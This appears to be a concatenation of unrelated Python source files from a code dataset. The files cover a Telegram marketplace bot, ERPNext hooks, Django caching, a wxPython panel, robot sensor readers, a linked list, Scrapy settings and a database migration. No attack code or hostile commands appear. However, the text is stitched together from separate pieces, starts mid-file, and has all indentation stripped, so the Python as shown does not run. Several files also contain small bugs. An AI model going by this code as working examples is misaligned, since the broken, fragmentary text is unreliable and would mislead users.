from queries import deactivate_user
from queries import insert_visitor
from queries import get_all_admins
# Helpers
from utils.helpers import format_text
# Misc
import json
async def process_start_command(chat, match, logger):
has_last_name = chat.sender.get('last_name', '') != ''
first_name = chat.sender.get('first_name')
fullname = first_name
if has_last_name:
fullname = first_name + ' ' + chat.sender.get('last_name')
greeting = format_text('''
Ассалому алайкум {name}!
Водий бозорга хуш келибсиз.
''')
await insert_user(chat.bot.pg_pool, chat.sender)
if not await user_exists(chat.bot.pg_pool, chat.sender):
logger.info('New user %s requested /start', chat.sender)
await chat.send_text(greeting.format(name=fullname))
async def process_menu_command(chat, match, logger):
info = format_text('''
*МЕНЮ*
/ads - эълонлар
/rules - канал қоидалари
''')
logger.info('Menu requested by %s', chat.sender)
await chat.send_text(info, parse_mode='Markdown', disable_web_page_preview=True)
async def process_rules_command(chat, match, logger):
info = format_text('''
*ХИЗМАТ* *ШАРТЛАРИ* *ВА* *ҚОИДАЛАР*
1. Бир кунда бир тур бўйича биттадан ортиқ эълон бериш мумкин эмас.
''')
logger.info('Rules requested by %s', chat.sender)
await chat.send_text(info, parse_mode='Markdown', disable_web_page_preview=True)
async def process_contact_command(chat, match, logger):
logger.info('Contact requested by %s', chat.sender)
contacts = format_text('''
*Админлар:*
{admins}
''')
admins = []
for admin in await get_all_admins(chat.bot.pg_pool):
admins.append('@' + admin)
text = contacts.format(admins=admins).replace('\'', '')
await chat.send_text(text, parse_mode='Markdown', disable_web_page_preview=True)
async def process_stop_command(chat, match, logger):
farewell = format_text('''
Қизиқиш учун раҳмат, {name}.
[Каналимизни](https://t.me/vodiybozor) кузатишда давом этинг.
''')
await deactivate_user(chat.bot.pg_pool, chat.sender)
logger.info('%s deactivated', chat.sender)
await chat.send_text(
farewell.format(name=chat.sender['first_name']),
parse_mode='Markdown',
disable_web_page_preview=True)
async def process_unknown_command(chat, match, logger):
await insert_user(chat.bot.pg_pool, chat.sender)
await insert_visitor(chat.bot.pg_pool, chat.sender, chat.message)
question = format_text('''
{name}, қизиқиш билдирганингиз учун раҳмат.
Бот ҳали битгани йўқ.
Агар телефон рақамингизни юборсангиз, бот битганда биз сизга смс хабар юборамиз. 😊
Телефон рақамни юбориш учун 👇 пастдаги тугмани босинг.
''')
keyboard = [
[
{
'text': 'Телефон рақам юбориш',
'request_contact': True
}
]
# ['👮🏻 дмин керак', '📃 Менюга қайтиш'],
]
reply_keyboard_markup = {
'keyboard': keyboard,
'resize_keyboard': True,
'one_time_keyboard': True
}
logger.info('Unknown requested by %s', chat.sender)
await chat.send_text(
question.format(name=chat.sender['first_name']),
parse_mode='Markdown',
disable_web_page_preview=True,
reply_markup=json.dumps(reply_keyboard_markup))
|
990,132 | d4f7e1c9f84216e34413b5f06963107f382cb999 | from __future__ import unicode_literals
import frappe, urllib2
from frappe.utils import flt, fmt_money, get_url, now_datetime, get_datetime
from frappe import msgprint, _
from frappe.model.document import Document
from frappe.model.mapper import get_mapped_doc
@frappe.whitelist()
def redirect():
pass
# redirect_to = get_url("#Form/Sales Order/SAL-ORD-2019-00001")
# return redirect_to
# frappe.set_route("List", "Sales Invoice")
# tp = frappe.new_doc("Temporary")
# tp.temporary_name = "coba"
# tp.flags.ignore_permissions = True
# tp.submit()
# return {"redirect_to": "http://192.168.16.116:8000/desk#user-dashboard"}
# frappe.redirect_to_message(_('Some information is missing'))
# frappe.local.flags.redirect_location = "/contact"
# raise frappe.Redirect
# frappe.msgprint(_("redirect"))
def update_asset_barcode(doc, method):
if doc.barcode:
filedata = urllib2.urlopen('https://barcode.tec-it.com/barcode.ashx?data='+doc.barcode+'&code=MobileQRCode&dpi=150')
datatowrite = filedata.read()
with open(frappe.get_site_path("public", "files", doc.barcode+".png"), 'wb') as f:
f.write(datatowrite)
barcode_link = "/files/"+doc.barcode+".png"
doc.db_set("barcode_link", barcode_link)
def submit_asset(doc, method):
doc.db_set("book_value", doc.gross_purchase_amount)
def sum_amount_asset(doc, method):
for row in doc.accounts:
if row.reference_type == "Asset":
sum_amount_credit = frappe.db.sql("""select sum(credit) from `tabJournal Entry Account` where docstatus = '1' and reference_type = 'Asset' and reference_name = %s""", row.reference_name)[0][0]
gross_purchase_amount = frappe.db.get_value("Asset", row.reference_name, "gross_purchase_amount")
book_value = flt(gross_purchase_amount - sum_amount_credit)
frappe.db.set_value("Asset", row.reference_name, "book_value", book_value)
def validate_material_request(doc, method):
if doc.start_time or doc.stop_time:
if doc.stop_time < doc.start_time:
frappe.throw(_("<b>Start Time</b> must be less than <b>Stop Time</b>"))
def validate_sq_timer(doc, method):
if now_datetime() > get_datetime(doc.stop_time):
frappe.throw(_("Tender time is up"))
def validate_sq_badge(doc, method):
if doc.material_request:
grand_total_another_sq = frappe.db.sql("""select count(*) from `tabSupplier Quotation` where docstatus != '2' and material_request = %s and `name` != %s and grand_total < %s""", (doc.material_request, doc.name, doc.grand_total))[0][0]
if flt(grand_total_another_sq) == 0:
doc.badge = "menang"
frappe.db.sql("""update `tabSupplier Quotation` set badge = 'kalah' where docstatus != '2' and material_request = %s and `name` != %s""", (doc.material_request, doc.name))
else:
doc.badge = "kalah"
@frappe.whitelist()
def download_file():
import urllib2
filedata = urllib2.urlopen('https://barcode.tec-it.com/barcode.ashx?data=1400079&code=Code128&dpi=150')
datatowrite = filedata.read()
with open('/home/frappe/frappe-bench/sites/erpnext.vm/public/files/1400079.png', 'wb') as f:
f.write(datatowrite)
@frappe.whitelist()
def excel():
import xlsxwriter
workbook = xlsxwriter.Workbook(frappe.get_site_path("public", "files", "hello.xlsx"))
# workbook = xlsxwriter.Workbook('/home/frappe/frappe-bench/sites/erpnext.vm/public/files/hello.xlsx')
worksheet = workbook.add_worksheet()
# Widen the first column to make the text clearer.
worksheet.set_column('A:A', 20)
worksheet.set_column('B:B', 15)
# Add a bold format to use to highlight cells.
bold = workbook.add_format({'bold': True})
# Write some simple text.
worksheet.write('A1', 'Hello')
# Text with formatting.
worksheet.write('A2', 'World', bold)
# Write some numbers, with row/column notation.
worksheet.write(2, 0, 123)
worksheet.write(2, 1, 'Disini')
worksheet.write(3, 0, 123.456)
workbook.close()
|
990,133 | d840000861bb4b525ba4f54a5302facd81499f71 | """
A generic database QuerySets caching example for any Model objects.
Multiple models with same id is supported in the same cache using class name prefixing to the key.
"""
import logging
from django.core.cache import cache
from .models import User
logger = logging.getLogger(__name__)
def test():
id = 1
logger.info("Creating a user with id=%s", id)
user = User()
user.name = "Alice"
set(id, user)
logger.info("First get of user with id=%s", id)
user = get(User, id)
logger.info("Got %s", user)
logger.info("Second get of user with id=%s", id)
user = get(User, id)
logger.info("Got %s", user)
logger.info("Updating user with id=%s", id)
user = User()
user.name = "Bob"
set(id, user)
logger.info("First get of updated user with id=%s", id)
user = get(User, id)
logger.info("Got %s", user)
logger.info("Second get of updated user with id=%s", id)
user = get(User, id)
logger.info("Got %s", user)
logger.info("Removing user with id=%s", id)
remove(User, id)
logger.info("Get removed user with id=%s", id)
user = get(User, id)
logger.info("Got %s", user)
def build_key(model, id):
"""
Build cache key combining model class name and id
:param model: the model class came
:param id: the primary key id
:return: the key as <name>.<id>
"""
return "{}.{}".format(model.__name__, id)
def get(model_class, id):
"""
Get a model object from the cache.
If the object is not in cache gets it from the database and also populates it in the cache.
:param model_class: the model class
:param id: the primary key of the model
:return: the model object or None
"""
key = build_key(model_class, id)
user = cache.get(key)
if user is None: # Not in cache
logger.info(" CACHE MISS key=%s", key)
user = User.objects.filter(id=id).first()
if user is not None: # Found in DB
logger.info(" CACHE POPULATE key=%s", key)
cache.set(key, user) # Add to cache
else:
logger.info(" CACHE HIT key=%s", key)
return user
def set(id, model):
"""
Creates or updates given model object into database with the given primary key id
and invalidates any cached version.
NOTE: The model class name is found from the model object.
:param id: the primary key of the model to create or update
:param model: the model to create or update
:return: None
"""
key = build_key(type(model), id) # Get model class from model object
logger.info(" CACHE INVALIDATE key=%s", key)
cache.delete(key) # Invalidate from cache
model.id = id
model.save()
def remove(model_class, id):
"""
Removes model object from the database and invalidates any cached version.
:param model_class: the model class
:param id: the primary key of the model
:return: None
"""
key = build_key(model_class, id)
logger.info(" CACHE INVALIDATE key=%s", key)
cache.delete(key) # Invalidate from cache
User.objects.filter(id=id).delete()
|
990,134 | be44d40f08f02073d7b89e1af7b0d384e51ae906 | import argparse
def get_args():
parser = argparse.ArgumentParser(description='Dictionary',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
args = parser.parse_args()
return args
def main():
args = get_args()
#maps
nums = [1,2,3,4,5]
print(map(square,nums)) # --> <map object at 0x000001F2B4D24790>
for i in map(square,nums):
print(i)
print(list(map(square,nums)))
names = ['JUAN','Felipe','CarolinaT']
print(list(map(splicer,names)))
#filter
numbersToFilter = range(0,50)
print(list(filter(check_even,numbersToFilter)))
#lambda
sq = lambda x: x**2
print(list(map(lambda x: x**2,nums)))
print(list(filter(lambda myStr:myStr%2 == 0,numbersToFilter)))
def splicer(myStr):
if len(myStr)%2 == 0:
return 'EVEN'
else:
return myStr[0]
def square(x):
return x**2
def check_even(x):
return x%2 == 0
if __name__ == '__main__':
main() |
990,135 | d4b17fa25f7be0ef684722de57223969fcdf841c | import wx
from .Events import *
from collections import OrderedDict
class BitmapAnchor:
def __init__(self,parent,anchor_x=0.0,anchor_y=0.0):
self.parent=parent# Bitmap
self.anchor_x=anchor_x
self.anchor_y=anchor_y
def SetCoordinates(self,anchor_x=0.0,anchor_y=0.0):
self.anchor_x=anchor_x
self.anchor_y=anchor_y
def SetCoordinatesFromWorld(self,world_x,world_y):
parent_coordinates=self.GetBitmapWorldCoordinates()
parent_size=self.GetSize()
self.anchor_x=(world_x-parent_coordinates[0])/parent_size[0]
self.anchor_y=(world_y-parent_coordinates[1])/parent_size[1]
def GetBitmapWorldCoordinates(self):
return (self.parent.x,self.parent.y)
def GetSize(self):
return self.parent.size
@property
def x(self):
return self.anchor_x*self.GetSize()[0]
@property
def y(self):
return self.anchor_y*self.GetSize()[1]
@property
def local(self):
return (self.x,self.y)
@property
def world_x(self):
return self.GetBitmapWorldCoordinates()[0]-self.x
@property
def world_y(self):
return self.GetBitmapWorldCoordinates()[1]-self.y
@property
def world(self):
return (self.world_x,self.world_y)
class Bitmap:
def __init__(self,parent,name,width=10,height=10,x=0,y=0):
self.parent=parent
self.events=self.parent.events
self.name=name
self._width=width
self._height=height
self._x=x
self._y=y
self.anchor=BitmapAnchor(self)
self.image=wx.Bitmap(self.size)
self.use_offset=False
self.SetMask()
@property
def width(self):
return self._width if self._width>0 else 1
@property
def height(self):
return self._height if self_height>0 else 1
@property
def x(self):
return self._x
@property
def y(self):
return self._y
@property
def size(self):
return (self.width if self.width>0 else 1,self.height if self.height>0 else 1)
@property
def center_x(self):
return self.size[0]/2
@property
def center_y(self):
return self.size[1]/2
def UpdateBitmap(self):
self.Draw()
self.SetMask()
def Draw(self):
return
def SetMask(self):
mask=wx.Mask(self.image,wx.Colour('white'))
self.image.SetMask(mask)
def OnSize(self):
self.image=wx.Bitmap(self.size)
self.UpdateBitmap()
def DrawToBuffer(self,buffer_device_context):
x=self.anchor.world_x+self.parent.offset_coord[0] if self.use_offset else self.anchor.world_x
y=self.anchor.world_y+self.parent.offset_coord[1] if self.use_offset else self.anchor.world_y
buffer_device_context.DrawBitmap(self.image,x,y,useMask=True)
class RenderPanel(wx.Panel):
def __init__(self,parent,name=''):
wx.Panel.__init__(self,parent,size=(100,100))
self.parent=parent
self.events=parent.events
self.name=name
self.mouse_left_down_event_name='{}-Mouse-Left-Down-Event'.format(self.name)
self.mouse_left_up_event_name='{}-Mouse-Left-Up-Event'.format(self.name)
self.mouse_motion_event_name='{}-Mouse-Motion-Event'.format(self.name)
self.new_mouse_coord=(0,0)
self.old_mouse_coord=(0,0)
self.offset_coord=(0,0)
self.events.BindData(self.name,self)
self.events.AddEvent(self.mouse_left_down_event_name)
self.events.AddEvent(self.mouse_left_up_event_name)
self.events.AddEvent(self.mouse_motion_event_name)
self.Bind(wx.EVT_SIZE,self.wxOnSize)
self.Bind(wx.EVT_PAINT,self.wxOnPaint)
self.Bind(wx.EVT_MOUSE_EVENTS,self.wxUpdateMouse)
self.text_colours={}
self.pens={}
self.brushes={}
self.brushes['background']=wx.Brush('white')
self.layers=OrderedDict()
def AddLayer(self,layer_name):
self.layers[layer_name]=OrderedDict()
def AddBitmapToLayer(self,layer_name,bitmap):
self.layers[layer_name][bitmap.name]=bitmap
def wxOnSize(self,event):
self.buffer_image=wx.Bitmap(*self.ClientSize)
for layer_key,layer in self.layers.items():
for bitmap_key,bitmap in layer.items():
bitmap.OnSize()
self.UpdateDrawing()
def wxOnPaint(self,event):
wx.BufferedPaintDC(self,self.buffer_image)
def UpdateDrawing(self):
dc=wx.MemoryDC()
try:
dc.SelectObject(self.buffer_image)
except:
self.wxOnSize(None)
self.Draw(dc)
self.Refresh(eraseBackground=False)
self.Update()
def Draw(self,dc):
dc.SetBackground(self.brushes['background'])
dc.Clear()
for layer_key,layer in self.layers.items():
for bitmap_key,bitmap in layer.items():
bitmap.DrawToBuffer(dc)
def wxUpdateMouse(self,event):
self.old_mouse_coord=self.new_mouse_coord
self.new_mouse_coord=(event.GetX(),event.GetY())
center_x,center_y=(self.GetSize())/2
self.point=(
self.new_mouse_coord[0]-center_x-self.offset_coord[0],
self.new_mouse_coord[1]-center_y-self.offset_coord[1])
if self.old_mouse_coord!=self.new_mouse_coord:
self.events.CallEvent(self.mouse_motion_event_name)
if event.Dragging():
self.is_dragging=True
self.offset_coord=(self.offset_coord[0]+(self.new_mouse_coord[0]-self.old_mouse_coord[0]),self.offset_coord[1]+(self.new_mouse_coord[1]-self.old_mouse_coord[1]))
self.UpdateDrawing()
self.events.CallEvent(self.mouse_left_down_event_name)
event.Skip()
elif event.LeftDown():
self.is_left_click_down=True
self.events.CallEvent(self.mouse_left_down_event_name)
event.Skip()
elif event.LeftUp():
self.is_dragging=False
self.is_left_click_down=False
self.events.CallEvent(self.mouse_left_up_event_name)
event.Skip()
|
990,136 | fe11014b126c9f2c3a41d18f1c251ae056aa3b39 | import matplotlib.pyplot as plt
ages=[23,34,43,48,56,45,36,25,46,27,41]
bins=[0,10,20,30,40,50,60,70,80,90]
plt.hist(ages,bins,histtype='bar',color='green',rwidth=0.8)
plt.xlabel('ages of employees')
plt.ylabel=('salaries of employees')
plt.title('CLOWN MONSTERS')
plt.show() |
990,137 | bfb1a91a9e8dca5bdb142caaca52cbda5b9df203 | # def load_lines(path):
# with open(path, 'rb') as f:
# return [line.strip() for line in
# f.read().decode('utf8').splitlines()
# if line.strip()]
# ROTATING_PROXY_LIST = load_lines('proxies.txt')
# ROTATING_PROXY_PAGE_RETRY_TIMES = 1
DOWNLOADER_MIDDLEWARES = {
# 'rotating_proxies.middlewares.RotatingProxyMiddleware': 610,
# 'rotating_proxies.middlewares.BanDetectionMiddleware': 620,
'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None,
'random_useragent.RandomUserAgentMiddleware': 400
}
# Select user-agents randomnly
USER_AGENT_LIST = "user-agents.txt"
# Just bot name
BOT_NAME = 'wordhit'
# Defining pipelines
ITEM_PIPELINES = {
# 'wordhit_crawler.pipelines.MongoPipeline': 300
'wordhit_crawler.pipelines.MongoPipelineWords': 300}
# Mongo configs
MONGODB_SERVER = '172.17.0.2'
MONGODB_PORT = 27017
MONGODB_DB = 'opiniorizer'
MONGODB_COLLECTION = 'words'
MONGODB_COLLECTION_TEST = 'wordstest'
|
990,138 | 99a7734839eb14a18a8a725f713986cf770f6847 | ### Author: John Grezmak
### Library of functions for sensors used with Sebastian robots.
from multiprocessing.pool import ThreadPool
import pickle
import time
import numpy as np
import serial
def collectData(sensor_type, data_length, ser_ID):
### Function for collecting data from serial device for specified length of data
# sensor_type: Type of sensor; currently supported: "MLX90393", "BNO055"
# data_length: Length of data to collect
# ser_ID: String specifying serial port for serial device
data = np.zeros([data_length, ])
if sensor_type == 'MLX90393':
for k in range(data_length):
ser_bytes = ser_ID.readline()
decoded_bytes = float(ser_bytes[0:len(ser_bytes)-2].decode("utf-8"))
data[k] = decoded_bytes
print(decoded_bytes)
elif sensor_type == 'BNO055':
for k in range(data_length + 1):
ser_bytes = ser_ID.readline()
if k > 0:
decoded_bytes = float(ser_bytes[0:len(ser_bytes)-2].decode("utf-8"))
data[k - 1] = decoded_bytes
print(decoded_bytes)
return data
def initialize_sensor(sensor_type):
### Function for initializing sensor.
# sensor_type: Type of sensor; currently supported: "MLX90393", "BNO055"
if sensor_type == 'MLX90393':
initialized = False
while initialized == False:
# Set up serial communication with Arduino(s)
port1 = '/dev/ttyUSB0'
ser1 = serial.Serial(port1, 115200, timeout=2)
ser1.flushInput()
port2 = '/dev/ttyUSB1'
ser2 = serial.Serial(port2, 115200, timeout=2)
ser2.flushInput()
pool = ThreadPool(processes=2)
collectData_result1 = pool.apply_async(collectData, ('MLX90393', 9, ser1))
collectData_result2 = pool.apply_async(collectData, ('MLX90393', 9, ser2))
pool.close()
pool.join()
#print(collectData_result1.get())
data_error = False
try:
temp = collectData_result1.get()
if 0.0 in temp:
data_error = True
print('Error in left tripod sensor(s)')
except:
data_error = True
print('Error in left tripod sensor(s)')
try:
temp = collectData_result2.get()
if 0.0 in temp:
data_error = True
print('Error in right tripod sensor(s)')
except:
data_error = True
print('Error in right tripod sensor(s)')
if data_error:
print('Failed to initialize one or more magnetometers, trying again...')
ser1.close()
ser2.close()
time.sleep(1)
else:
initialized = True
print('Initialized magnetometers.')
time.sleep(1)
return [ser1, ser2]
elif sensor_type == 'BNO055':
initialized = False
while initialized == False:
# Set up serial communication with Arduino(s)
port3 = '/dev/ttyUSB2'
ser3 = serial.Serial(port3, 115200, timeout=2)
ser3.flushInput()
data_error = False
try:
result1 = collectData('BNO055', 6, ser3)
except:
data_error = True
if data_error:
print('Failed to initialize IMU, trying again...')
ser3.close()
time.sleep(1)
else:
initialized = True
print('Initialized IMU.')
time.sleep(1)
return ser3
def collectData_thread(main_queue, sensor_type, data_queues, ser_ID):
### Function to continuously collect data and store in Python queue
# main_queue: Main Python queue
# sensor_type: Type of sensor; currently supported: "MLX90393", "BNO055"
# data_queues: Python list of Python LIFO queues to store collected data
# ser_IDs: Serial ID to collect data from
k = 0
end_thread = False
if sensor_type=='MLX90393':
while end_thread == False:
# Read bytes
ser_bytes = ser_ID.readline()
decoded_bytes = float(ser_bytes[0:len(ser_bytes)-2].decode("utf-8"))
# Decide where to store data
if k == 0:
data_queues[0].put(decoded_bytes)
k = k + 1
elif k == 1:
data_queues[1].put(decoded_bytes)
k = k + 1
elif k == 2:
data_queues[2].put(decoded_bytes)
k = k + 1
elif k == 3:
data_queues[3].put(decoded_bytes)
k = k + 1
elif k == 4:
data_queues[4].put(decoded_bytes)
k = k + 1
elif k == 5:
data_queues[5].put(decoded_bytes)
k = k + 1
elif k == 6:
data_queues[6].put(decoded_bytes)
k = k + 1
elif k == 7:
data_queues[7].put(decoded_bytes)
k = k + 1
elif k == 8:
data_queues[8].put(decoded_bytes)
k = 0
# Check if data collection and thread should be stopped
dict_temp = main_queue.get()
main_queue.put(dict_temp)
if dict_temp['stop'] == True:
end_thread = True
print('Stopping data collection thread...')
elif sensor_type=='BNO055':
while end_thread == False:
# Read bytes
ser_bytes = ser_ID.readline()
decoded_bytes = float(ser_bytes[0:len(ser_bytes)-2].decode("utf-8"))
# Decide where to store data
if k == 0:
data_queues[0].put(decoded_bytes)
k = k + 1
elif k == 1:
data_queues[1].put(decoded_bytes)
k = k + 1
elif k == 2:
data_queues[2].put(decoded_bytes)
k = k + 1
elif k == 3:
data_queues[3].put(decoded_bytes)
k = k + 1
elif k == 4:
data_queues[4].put(decoded_bytes)
k = k + 1
elif k == 5:
data_queues[5].put(decoded_bytes)
k = 0
# Check if data collection and thread should be stopped
dict_temp = main_queue.get()
main_queue.put(dict_temp)
if dict_temp['stop'] == True:
end_thread = True
print('Stopping data collection thread...')
def analyzeData_thread(main_queue, data_queues1, data_queues2, data_queues3):
### Function for collecting and analyzing data during exploratory search
# main_queue: Python Queue for sharing variables between threads
# data_queues1: Python list of Python queues to store collected magnetometer data (left tripod)
# data_queues2: Python list of Python queues to store collected magnetometer data (right tripod)
# data_queues3: Python list of Python queues to store collected IMU data
end_thread = False
k = 0
points_mag = 15
points_IMU = 30
# Initialize dict for storing analyzed data
data_analyzed_mag1 = dict()
data_analyzed_mag2 = dict()
data_analyzed_IMU = dict()
for q in [1, 2, 3]:
for w in ['x', 'y', 'z']:
data_analyzed_mag1[w + str(q)] = []
data_analyzed_mag2[w + str(q)] = []
for w in ['x', 'y', 'z']:
data_analyzed_IMU['angVel_' + w] = []
data_analyzed_IMU['linAccel_' + w] = []
# Define dicts for data array/queue pairs
data_pairs_mag1 = {'x1': data_queues1[0], 'y1': data_queues1[1], 'z1': data_queues1[2], \
'x2': data_queues1[3], 'y2': data_queues1[4], 'z2': data_queues1[5], \
'x3': data_queues1[6], 'y3': data_queues1[7], 'z3': data_queues1[8]}
data_pairs_mag2 = {'x1': data_queues2[0], 'y1': data_queues2[1], 'z1': data_queues2[2], \
'x2': data_queues2[3], 'y2': data_queues2[4], 'z2': data_queues2[5], \
'x3': data_queues2[6], 'y3': data_queues2[7], 'z3': data_queues2[8]}
data_pairs_IMU = {'angVel_x': data_queues3[0], 'angVel_y': data_queues3[1], 'angVel_z': data_queues3[2], \
'linAccel_x': data_queues3[3], 'linAccel_y': data_queues3[4], 'linAccel_z': data_queues3[5]}
while end_thread == False:
time.sleep(0.2)
dict_temp = main_queue.get()
main_queue.put(dict_temp)
# Specify what type of analysis to do based on main queue dict
if dict_temp['next_move'] == 'main':
# Wait for one step of gait to finish
time.sleep(1.512) ##################################################################### ADJUST DEPENDING ON GAIT CYCLE
time_init = time.time()
# Get data from LIFO data queues for defined number of points for each sensor type
for m in range(points_mag):
for q in [1, 2, 3]:
for w in ['x', 'y', 'z']:
data_analyzed_mag1[w + str(q)].append(data_pairs_mag1[w + str(q)].get())
data_analyzed_mag2[w + str(q)].append(data_pairs_mag1[w + str(q)].get())
for m in range(points_IMU):
for q in ['angVel_', 'linAccel_']:
for w in ['x', 'y', 'z']:
data_analyzed_IMU[q + w].append(data_pairs_IMU[q + w].get())
time_end = time.time()
print(time_end - time_init)
# Check if thread should be stopped
if dict_temp['stop'] == True:
print('Stopping analyzeData_thread')
end_thread = True
else:
k = k + 1
print(str(k) + ' passes of collectData thread\n')
time.sleep(1.5 - (time_end - time_init))
data_analyzed = [data_analyzed_mag1, data_analyzed_mag2, data_analyzed_IMU]
return data_analyzed
|
990,139 | a348c41228e6c386d3f9310da8f1128ff53e8c29 | # -*- coding: utf-8 -*-
"""
Created on Thu Feb 14 22:57:37 2019
@author: pengz
"""
class Node():
def __init__(self,initdata):
self.data = initdata #初始数据值
self.next = None ##最初创建的时候节点的next节点是None
def getData(self): #访问数据
return self.data
def getNext(self): #访问下一节点
return self.next
def setData(self,newdata):#修改数据
self.data = newdata
def setNext(self,newnext): #修改下一节点
self.next = newnext
class OrderedList():
def __init__(self):
self.head = None
def isEmpty(self):
return self.head == None
def size(self):
current = self.head
count = 0
while current != None:
count += 1
current = current.getNext()
return count
def add(self,item):
temp = Node(item) ##先创造节点
if self.head == None: ##当列表为空的时候，直接添加
temp.setNext(self.head)
self.head = temp
else:
current = self.head
previous = None
while current != None and item > current.getData():##如果current==None，说明要插入的数比任何一个都大
previous = current
current = current.getNext()
if previous != None:
temp.setNext(current)
previous.setNext(temp)
else: ##previous == None的话，就说明要插入的数据比现存的任何一个都小，就直接插入
temp.setNext(current)
self.head = temp
def search(self,item): ##有序列表的search和无序有点不同，可以不用遍历全部
stop = False
found = False
current = self.head
while current != None and not stop and not found:
if current.getData() == item:
found = True
elif current.getData() > item:
stop = True
else:
current = current.getNext()
return found
def pop(self,idx = None):
current = self.head
previous = None
if idx == None:
length = self.size()
i = 1
while i < length:
previous = current
current = current.getNext()
i = i+1
previous.setNext(current.getNext())
elif idx == 0:
self.head = current.getNext()
else:
i = 0
while i < idx:
previous = current
current = current.getNext()
i = i+1
previous.setNext(current.getNext())
def index(self,item):
idx = 0
current = self.head
found = False
while current != None and not found:
if current.getData() == item:
found = True
else:
current = current.getNext()
idx += 1
if current == None:
print("not in the list")
else:
return idx
def remove(self,item):
if self.search(item):
current = self.head
previous = None ##previous一开始设置为None
found = False
while not found:
if current.getData() == item:
found = True
else: ##没找到目标item就要往前移previous和current
previous = current ##previsou变成现在这个节点
current = current.getNext() ##current往下移一个
if previous == None: ##就是第一个head.getData()就是目标item时候，previous就是None,所以修改的就是self.head
self.head = current.getNext()
else:
previous.setNext(current.getNext()) ##previous本来的下一个是current，但现在忽略current直接变成current的下一个
else:
print(item," not here")
list2 = OrderedList()
list2.add(12)
list2.add(11)
list2.add(23)
list2.add(50)
print("The length is",list2.size())
print(list2.head.getData())
print(list2.head.getNext().getData())
print(list2.head.getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getData())
print("Adding 100")
list2.add(100)
print("The length is",list2.size())
print(list2.head.getData())
print(list2.head.getNext().getData())
print(list2.head.getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getNext().getData())
print("Adding 1")
list2.add(1)
print("The length is",list2.size())
print(list2.head.getData())
print(list2.head.getNext().getData())
print(list2.head.getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getNext().getNext().getData())
print("Adding 34")
list2.add(34)
print("The length is",list2.size())
print(list2.head.getData())
print(list2.head.getNext().getData())
print(list2.head.getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getNext().getNext().getNext().getData())
print(list2.search(110))
print(list2.index(1))
list2.pop()
print("The length is",list2.size())
print(list2.head.getData())
print(list2.head.getNext().getData())
print(list2.head.getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getNext().getNext().getData())
list2.pop(0)
list2.pop(1)
print("The length is",list2.size())
print(list2.head.getData())
print(list2.head.getNext().getData())
print(list2.head.getNext().getNext().getData())
print(list2.head.getNext().getNext().getNext().getData())
print(list2.isEmpty())
list2.remove(23)
print("The length is",list2.size())
print(list2.head.getData())
print(list2.head.getNext().getData())
print(list2.head.getNext().getNext().getData()) |
990,140 | d3007eb7fe0506b13f0c443ff9d4ad46966c34e6 | from common.commonData import CommonData
from conftest import http
import allure
@allure.feature("用户相关接口")
class Test_LoadUserInfo:
@allure.story("请求获取用户列表")
def test_LoadUserInfo(self):
path="/user/loadUserInfo"
data={'token':CommonData.token,'id':724}
res_getuserinfo=http.post(path,data)
assert res_getuserinfo['code']==200
assert res_getuserinfo['msg']=="操作成功" |
990,141 | 3388875dbd366b55bd3e4d9c4dd54b7856bb17c1 | import winsound
import time
from animation import intro_animation
def Intro():
winsound.PlaySound(".\\music\\intro.wav", winsound.SND_ALIAS | winsound.SND_ASYNC +winsound.SND_LOOP)
intro_animation()
time.sleep(1)
input("Press enter to begin your struggle")
print("\033c", end="")
print ("""
dd
MM
hhMMhh
hh::MM::hh
yy// MM //yy
// yyMMyy //
yy//MM//yy
yy// MM //yy
ss++ MM ++ss
++ ssMMss ++
ss++MM++ss ssssssssssssssss
ss++ MM ++ss ss++++++++++++++++ss
oooo MM oooo oooo oooo
oo ooMMoo oo MM oooooooo MM
ooooMMoooo MM MM
++ss MM ss++ MM ++++++++++++ MM
++ss MM ss++ MM MM
++ss MM ss++ MM ++++++++ MM
ss MM ss MM ssssssss MM
MM MM MM
MM MM yyyyyyyyyyyy MM ////////////////
MM MM MM //yyyyyyyyyyyyyyyy//
MM MM MM //yy yy//
::::::::::::MM::::::::::::MM MM::::::::MM::::::::::::::::::::MM::::::
hhhhhhhhhhhhhhhhhhhhhhhhhhhh hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
""")
print("A hand reaches out from a shallow grave...")
time.sleep(1.5)
print("That hand is yours.. You gasp for air as you free yourself")
print("The only thing you can remember is your name")
name=input("Your name:")
if name =="":
name=("Nameless")
print("Alas, your memory betrays you")
print("You see a wood sign pointing south east label 'Beggar's Hole' ")
time.sleep(1)
print("Maybe you will find some answers there or at least a safe place to sleep")
print(" ")
input("Press enter to continue your struggle")
else:
print("You think it is",name)
print("You see a wood sign pointing south east label 'Beggar's Hole' ")
time.sleep(1)
print("Maybe you will find some answers there or at least a safe place to sleep")
print(" ")
input("Press enter to continue your struggle")
winsound.PlaySound(None, winsound.SND_ALIAS)
return name
|
990,142 | f1a1217e9cf77595a3a680e1cb8f56720ef923f3 | import cv2
import numpy
from matplotlib import pyplot as plt
image=cv2.imread("images/blue.png")
color=('b','g','r')
for i,col in enumerate(color):
hist=cv2.calcHist([image],[i],None,[256],[0,256])
plt.plot(hist,color=col)
plt.xlim([0,256])
plt.show()
|
990,143 | 7cd8d7659db25684b88567f0e658b1e5e4686634 | """gasto
Revision ID: 2d7dd71834d7
Revises: 032
Create Date: 2014-10-18 07:42:22.876984
"""
# revision identifiers, used by Alembic.
revision = '033'
down_revision = '032'
from alembic import op
import sqlalchemy as db
def upgrade():
op.create_table('gasto',
db.Column('id', db.Integer, primary_key=True),
db.Column('id_razon_gasto', db.Integer, db.ForeignKey('razon_gasto.id'), nullable=False),
db.Column('cuando', db.Date, nullable=False),
db.Column('mes_correspondiente', db.Date, nullable=False),
db.Column('importe', db.Float, nullable=False),
db.Column('comentario', db.Text),
)
